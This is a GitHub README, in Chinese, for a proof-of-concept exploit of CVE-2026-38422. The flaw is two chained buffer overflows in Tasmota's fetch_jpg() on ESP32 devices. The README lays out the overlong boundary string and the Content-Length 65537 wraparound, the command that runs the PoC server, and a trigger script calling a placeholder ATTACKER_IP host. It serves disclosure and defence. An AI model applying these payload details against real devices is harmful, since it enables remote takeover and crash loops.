sermikr0/CVE-2026-38422

GitHub: sermikr0/CVE-2026-38422

该项目是 CVE-2026-38422 的 PoC,演示了 Tasmota fetch_jpg() 中两个叠加缓冲区溢出漏洞如何组合实现 ESP32 远程代码执行。

Stars: 0 | Forks: 0

# CVE-2026-38422:通过 Tasmota fetch_jpg() 中的组合缓冲区溢出实现远程代码执行 **CVE:** CVE-2026-38422 **严重性:** 严重 (CVSS 9.8) **产品:** Arendst Tasmota **受影响版本:** <= 15.3.0.3 **文件:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino` **函数:** `fetch_jpg()` **作者:** Saidakbarxon Maxsudxonov **披露:** 负责任的 —— 在发布前已报告给 Tasmota ## 概述 Tasmota 的脚本驱动 (`xdrv_10_scripter.ino`) 中的 `fetch_jpg()` 函数包含两个叠加的内存破坏漏洞,它们结合在一起可以在运行 Tasmota <= 15.3.0.3 的基于 ESP32 的设备上实现远程代码执行: 1. **阶段 1 (case 0):** `strcpy()` 溢出到固定的 40 字节 `boundary[]` 缓冲区 —— 破坏相邻的堆内存,包括 `WiFiClient`/`HTTPClient` vtable 指针(另见 CVE-2026-38426) 2. **阶段 2 (case 2):** `uint16_t` 在 `Content-Length` 上的整数回绕 —— 分配过小的缓冲区,导致流状态损坏(另见 CVE-2026-38427) 在单次攻击会话中将它们结合使用,这两个原语能最大化堆内存破坏,并显著提高实现任意代码执行的概率。 ## 漏洞链 ``` Attacker MJPEG Server │ │ Phase 1: HTTP 200 response with long boundary string │ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars) │ → strcpy(boundary[40], 50_chars) → OVERFLOW │ → WiFiClient vtable ptr partially overwritten ▼ ESP32 Heap Corrupted │ │ Phase 2: MJPEG frame with Content-Length > 65535 │ Content-Length: 65537 │ → uint16_t size = 1 (wraparound) │ → malloc(1), readBytes(buff, 1) │ → 65536 bytes remain in stream → heap/stream corruption ▼ Double Corruption → RCE / Guaranteed DoS ``` ## 概念验证 ``` # 组合攻击 — phase 1 + phase 2 python3 CVE-2026-38422_poc.py --port 8887 --mode dos ``` PoC 服务器: 1. 接受来自 Tasmota 的连接(`fetchjp()` 触发) 2. **阶段 1:** 发送带有 80 个字符 boundary 字符串(溢出)的初始 HTTP 200 响应 3. **阶段 2:** 发送带有 `Content-Length: 65537`(回绕)的 MJPEG 帧 完整实现请参见 [CVE-2026-38422_poc.py](CVE-2026-38422_poc.py)。 ## 通过 Tasmota Script 触发 ``` >D >B fetchjp(ATTACKER_IP:8887/stream,0,0,1) >1 =fetchjp(2,0,0,1) ``` 设备必须运行使用 `fetchjp()` 的 Tasmota script。攻击者需控制设备连接的服务器(或对现有连接执行 MITM)。 ## 影响 - **机密性:** 高 —— 在 ESP32 上实现 RCE,获取设备机密/凭据 - **完整性:** 高 —— 完全接管设备 - **可用性:** 高 —— 必然发生崩溃/重启循环 - **攻击向量:** 网络 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - **CVSS 分数:** 9.8 严重 ## 受影响设备 任何运行版本 <= 15.3.0.3、启用了脚本支持、并且其脚本使用 `fetchjp()` 连接到外部 MJPEG 服务器的基于 ESP32 的 Tasmota 设备。 ## 时间线 - **2026-03-29:** 发现这两个漏洞并报告给 MITRE - **2026-03-29:** 分配了 CVE-2026-38422 - **2026-05-xx:** Tasmota 发布了补丁 (v15.3.0.4+) ## 参考 - [Tasmota GitHub](https://github.com/arendst/Tasmota) - [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino) - CVE-2026-38422 - 相关:CVE-2026-38426 (strcpy 溢出) - 相关:CVE-2026-38427 (uint16_t 回绕)
标签:Google搜索, Maven, PoC, Web报告查看器, 暴力破解, 漏洞验证, 物联网安全, 缓冲区溢出, 逆向工具